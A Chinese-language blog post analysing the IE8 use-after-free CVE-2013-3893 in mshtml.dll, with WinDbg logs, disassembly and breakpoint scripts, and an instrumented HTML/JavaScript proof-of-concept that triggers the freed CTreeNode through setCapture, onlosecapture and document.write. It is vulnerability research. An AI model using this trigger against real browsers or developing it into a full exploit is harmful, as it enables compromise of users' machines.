Intro
前段时间工作中一直在干一些乱七八糟的事情,重心基本都是在Android上,掐指一算大概也有几个月没在Windows上用过调试器了。昨天心血来潮分析了一下IE的CVE-2013-3893漏洞。
POC
POC来自这里,使用XP下的IE8作为调试对象:
文件名:mshtml.dll 文件版本:8.00.6001.18702 MD5:D469A0EBA2EF5C6BEE8065B7E3196E5E SHA1:FD6CB9D197BB58C339DEFE6E2C3B03FB3B62B440
调试过程
定位出错对象
IE加载原始的POC,异常中断时的信息如下:
0:011> g (24c.bd0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000003 ebx=02ebe8d0 ecx=feeefeee edx=00000001 esi=043c8a68 edi=00000000 eip=6363fcc4 esp=02ebe814 ebp=02ebe828 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CElement::Doc: 6363fcc4 8b01 mov eax,dword ptr [ecx] ds:0023:feeefeee=????????
CallStack:
0:011> k ChildEBP RetAddr 02ebe810 63662cfd mshtml!CElement::Doc 02ebe814 635f3688 mshtml!CTreeNode::GetLookasidePtr+0x1a 02ebe828 635f3fe4 mshtml!CTreeNode::NodeAddRef+0x31 02ebe8ac 637fd38f mshtml!CDoc::PumpMessage+0x4a3 02ebe968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6 02ebe990 638e5dab mshtml!CElement::setCapture+0x50 02ebe9b8 636430c9 mshtml!Method_void_oDoVARIANTBOOL+0xc4 02ebea2c 6366418a mshtml!CBase::ContextInvokeEx+0x5d1 02ebea7c 6362b6ce mshtml!CElement::ContextInvokeEx+0x9d 02ebeaa8 63642eec mshtml!CInput::VersionedInvokeEx+0x2d
异常的地址位于CElement::Doc函数的第一句:
.text:6363FCC4 ; public: class CDoc * __thiscall CElement::Doc(void)const .text:6363FCC4 ?Doc@CElement@@QBEPAVCDoc@@XZ proc near ; CODE XREF: CPeerHolder::AttachPeer(IElementBehavior *)-3EFBCp .text:6363FCC4 ; CElement::EnsureIdentityPeer(void)+32p ... .text:6363FCC4 mov eax, [ecx] .text:6363FCC6 mov edx, [eax+70h] .text:6363FCC9 call edx .text:6363FCCB mov eax, [eax+0Ch] .text:6363FCCE retn .text:6363FCCE ?Doc@CElement@@QBEPAVCDoc@@XZ endp
显然,尝试在获取当前CElement对象的虚表时,发生了内存访问异常错误,当前的对象即ECX的值为feeefeee,即包含了这个CElement的对象在释放后被使用,该对象的内存已经被设为feeefeee,尝试从该对象中取出的CElement对象是一个不存在的对象。
往上一层看代码,当前属于CTreeNode的代码:
.text:63662CE3 ; public: void * __thiscall CTreeNode::GetLookasidePtr(int) .text:63662CE3 ?GetLookasidePtr@CTreeNode@@QAEPAXH@Z proc near .text:63662CE3 ; CODE XREF: CTreeNode::NodeAddRef(void)-6F68Fp .text:63662CE3 ; CElement::get_currentStyle(IHTMLCurrentStyle * *,CTreeNode *)+3Ap ... .text:63662CE3 mov eax, [esi+40h] .text:63662CE6 xor edx, edx .text:63662CE8 inc edx .text:63662CE9 mov ecx, edi .text:63662CEB shr eax, 1 .text:63662CED shl edx, cl .text:63662CEF and eax, 3 .text:63662CF2 test dl, al .text:63662CF4 jz short loc_63662D0A .text:63662CF6 mov ecx, [esi] .text:63662CF8 call ?Doc@CElement@@QBEPAVCDoc@@XZ ; CElement::Doc(void) .text:63662CFD lea ecx, [esi+edi*4] .text:63662D00 push ecx .text:63662D01 lea ecx, [eax+6Ch] .text:63662D04 call ?Lookup@CHtPvPv@@QBEPAXPAX@Z ; CHtPvPv::Lookup(void *) .text:63662D09 retn
根据代码,该CTreeNode偏移0处保存了一个CElement对象的地址,ESI为CTreeNode对象,查看当前对象的内存:
0:011> dc esi 043c8a68 feeefeee feeefeee feeefeee feeefeee ................ 043c8a78 feeefeee feeefeee feeefeee feeefeee ................ 043c8a88 feeefeee feeefeee feeefeee feeefeee ................
所以,产生异常的对象是CTreeNode。
跟踪对象释放情况
修改POC代码,按照惯例加入Math.atan2:
<html> <script> function trigger() { Math.atan2(0xbabe, "[*] Creating id_0."); var id_0 = document.createElement("sup"); Math.atan2(0xbabe, "[*] Creating id_1."); var id_1 = document.createElement("audio"); Math.atan2(0xbabe, "[*] Appending id_0."); document.body.appendChild(id_0); Math.atan2(0xbabe, "[*] Appending id_1."); document.body.appendChild(id_1); Math.atan2(0xbabe, "[*] applyElement id_0."); id_1.applyElement(id_0); id_0.onlosecapture=function(e) { Math.atan2(0xbabe, "[*] Enter id_0.onlosecapture."); document.write(""); Math.atan2(0xbabe, "[*] Leave id_0.onlosecapture."); } Math.atan2(0xbabe, "[*] Setting id_0['outerText']."); id_0['outerText']=""; Math.atan2(0xbabe, "[*] Calling id_0.setCapture()"); id_0.setCapture(); Math.atan2(0xbabe, "[*] Calling id_1.setCapture()"); id_1.setCapture(); } window.onload = function() { Math.atan2(0xbabe, "[*] Before trigger enter."); trigger(); Math.atan2(0xbabe, "[*] After trigger enter."); } </script> </html>
调试器载入IE后,使用sxe ld JScript.dll下断点。接下来载入POC页面,此时由于IE加载JScript.dll,调试器会中断,然后利用如下断点进行整体流程和对象的跟踪:
bu jscript!JsAtan2 ".printf "DEBUG %mu", poi(poi(poi(esp+14)+8)+8);.echo;g" bp 635A31E6 ".printf "DEBUG CTreeNode created: %08x", eax;.echo;g" bp 63625825 ".printf "DEBUG CTreeNode removed: %08x", edx;.echo;g" bp 635A26D0 ".printf "DEBUG CElement created: %08x", eax;.echo;g" bp 636257D2 ".printf "DEBUG CElement removed: %08x", ecx;.echo;g" 其中: CTreeNode::CTreeNode 635A31E6 CTreeNode::Release 63662F97 CElement::CElement 635A26D0 CElement::~CElement 636257D2
结果如下:
0:011> g DEBUG CElement created: 043a7c08 DEBUG CTreeNode created: 043c8a68 DEBUG [*] Before trigger enter. DEBUG [*] Creating id_0. DEBUG CElement created: 043a7cb0 DEBUG [*] Creating id_1. DEBUG CElement created: 00209970 DEBUG [*] Appending id_0. DEBUG CTreeNode created: 001fbbc0 DEBUG [*] Appending id_1. DEBUG CTreeNode created: 043bba70 DEBUG [*] applyElement id_0. DEBUG CTreeNode removed: 001fbbc0 DEBUG CTreeNode created: 001fbbc0 DEBUG [*] Setting id_0['outerText']. DEBUG CTreeNode removed: 043bba70 DEBUG CTreeNode removed: 001fbbc0 DEBUG [*] Calling id_0.setCapture() DEBUG [*] Calling id_1.setCapture() DEBUG [*] Enter id_0.onlosecapture. DEBUG CElement created: 043b58f0 DEBUG CTreeNode created: 043b5a18 DEBUG CTreeNode removed: 043c8a00 DEBUG CElement removed: 043b5380 DEBUG CTreeNode removed: 043c8b30 DEBUG CElement removed: 043c8ae8 DEBUG CTreeNode removed: 043c8c18 DEBUG CElement removed: 043c8b98 DEBUG CTreeNode removed: 043c8a68 DEBUG CTreeNode removed: 043c8910 DEBUG CElement removed: 043b5248 DEBUG CTreeNode created: 043b4a30 DEBUG CTreeNode removed: 001f9130 DEBUG [*] Leave id_0.onlosecapture. (24c.bd0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000003 ebx=02ebe8d0 ecx=feeefeee edx=00000001 esi=043c8a68 edi=00000000 eip=6363fcc4 esp=02ebe814 ebp=02ebe828 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CElement::Doc: 6363fcc4 8b01 mov eax,dword ptr [ecx] ds:0023:feeefeee=????????
根据上述Log,可以看到,产生UAF的CTreeNode是最初分配的,姑且称之为Root_0,因为我发现之后Append的两个对象的父节点都是它。CTreeNode +0处是该节点对应的CElement,+4是父节点。
之前的流程都比较清晰,由于id_0设置了onlosecapture回调,id_1调用setCapture()时会导致id_0的onlosecapture回调被调用。而onlosecapture中的document.write(“”);则会导致之前的对象被释放。从逻辑上来看,应该是setCapture内部没有对CTreeNode处理完善,在id_1调用setCapture的某个环节,id_0的onlosecapture被执行,document.write把最初的CTreeNode被释放,之后回到setCapture中,继续使用了该对象,导致UAF。
UAF原因分析
setCapture对应的处理代码位于CDoc::SetMouseCapture,第二次进入CDoc::SetMouseCapture也就是id_1调用的时候,走到的关键代码是这里:
.text:635F3F68 mov eax, [eax+14h] ; eax + 0x14 => Vuln CTreeNode .text:635F3F68 ; eax => First CElement. .text:635F3F6B .text:635F3F6B loc_635F3F6B: ; CODE XREF: CDoc::PumpMessage(CMessage *,CTreeNode *,int)+C1E1Ej .text:635F3F6B mov dword ptr [esp+78h+saved_ctree_node], eax .text:635F3F6F .text:635F3F6F loc_635F3F6F: ; CODE XREF: CDoc::PumpMessage(CMessage *,CTreeNode *,int)+1AAEj .text:635F3F6F ; CDoc::PumpMessage(CMessage *,CTreeNode *,int)+209928j .text:635F3F6F cmp dword ptr [esp+78h+saved_ctree_node], 0 .text:635F3F74 jz loc_635F439A .text:635F3F7A and dword ptr [edi+758h], 0FFFFFF7Fh .text:635F3F84 push edi .text:635F3F85 call ?ReleaseDetachedCaptures@CDoc@@QAEXXZ ; CDoc::ReleaseDetachedCaptures(void) .text:635F3F8A cmp [esp+78h+var_4C], 0 .text:635F3F8F jnz loc_635F587A ; 3897 Dead CTreeNode .text:635F3F95 .text:635F3F95 loc_635F3F95: ; CODE XREF: CDoc::PumpMessage(CMessage *,CTreeNode *,int)+1AC2j .text:635F3F95 ; CDoc::PumpMessage(CMessage *,CTreeNode *,int)+1B03j .text:635F3F95 cmp [ebp+arg_8], 0 .text:635F3F99 jnz short loc_635F3FBE .text:635F3F9B mov eax, [ebx+4] .text:635F3F9E cmp eax, 100h .text:635F3FA3 jb short loc_635F3FBE .text:635F3FA5 cmp eax, 101h .text:635F3FAA jbe loc_6368DCED .text:635F3FB0 add eax, 0FFFFFEFCh .text:635F3FB5 cmp eax, 1 .text:635F3FB8 jbe loc_6368DCED .text:635F3FBE .text:635F3FBE loc_635F3FBE: ; CODE XREF: CDoc::PumpMessage(CMessage *,CTreeNode *,int)+1D2j .text:635F3FBE ; CDoc::PumpMessage(CMessage *,CTreeNode *,int)+1DCj ... .text:635F3FBE test byte ptr [ebx+88h], 1 .text:635F3FC5 jnz loc_635F40ED .text:635F3FCB mov edi, dword ptr [esp+78h+saved_ctree_node] .text:635F3FCF cmp edi, [esp+78h+var_48] .text:635F3FD3 jz loc_63755023 .text:635F3FD9 .text:635F3FD9 loc_635F3FD9: ; CODE XREF: CDoc::PumpMessage(CMessage *,CTreeNode *,int)+16126Cj .text:635F3FD9 mov ecx, edi ; ecx = Dead CTreeNode .text:635F3FDB mov dword ptr [esp+78h+WideCharStr], edi .text:635F3FDF call ?NodeAddRef@CTreeNode@@QAEJXZ ; CTreeNode::NodeAddRef(void) .text:635F3FE4 test eax, eax
在635F3F68的时候,eax是最初创建的CElement对象,+14是对应的CTreeNode,此时,两个对象都还没有被释放。之后调用了CDoc::ReleaseDetachedCaptures。在ReleaseDetachedCaptures函数中,会重新进入CDoc::SetMouseCapture,并走到调用CDoc::ClearMouseCapture,该函数会导致onlosecapture回调的触发:
.text:636B6490 xor eax, eax .text:636B6492 push eax .text:636B6493 push eax .text:636B6494 push 0FFFFFFFFh .text:636B6496 push eax .text:636B6497 push 1 .text:636B6499 push offset _s_propdescCElementonlosecapture .text:636B649E mov ecx, esi .text:636B64A0 call ?FireEvent@CElement@@QAEJPBUPROPERTYDESC_BASIC@@HPAVCTreeNode@@JPAUEVENTINFO@@H@Z ; CElement::FireEvent(PROPERTYDESC_BASIC const *,int,CTreeNode *,long,EVENTINFO *,int) .text:636B64A5 mov ecx, [ebp+var_8]
之后就是进入onlosecapture,执行document.write,CTreeNode被释放。然而,PumpMessage在ReleaseDetachedCaptures之后的代码中,直接使用了保存在栈中的CTreeNode对象,最终通过635F3FDF处调用CTreeNode::NodeAddRef访问到了已经释放的CTreeNode对象。
大体上,触发UAF的原因是:
- 保存CTreeNode到栈中;
- 调用ReleaseDetachedCaptures导致栈中的对象被释放;
- 没有做详细检查直接使用该对象。
未完待续
这次注意到了一些有意思的地方,如:
- 元素被加入到DOM树的时候,需要用CTreeNode表示各个结点,每个CTreeNode都有其对应的元素(即CElement)和父节点的CTreeNode。
- document.write导致原始的DOM树失效,并重新建立一个。
- id_0[‘outerText’]=””;导致了两个元素对应的节点都被摘除。
由于太多细节不清楚,对此还是一知半解,等以后分析再慢慢补了。
参考
- http://zenhumany.blog.163.com/blog/static/17180663320139305259394/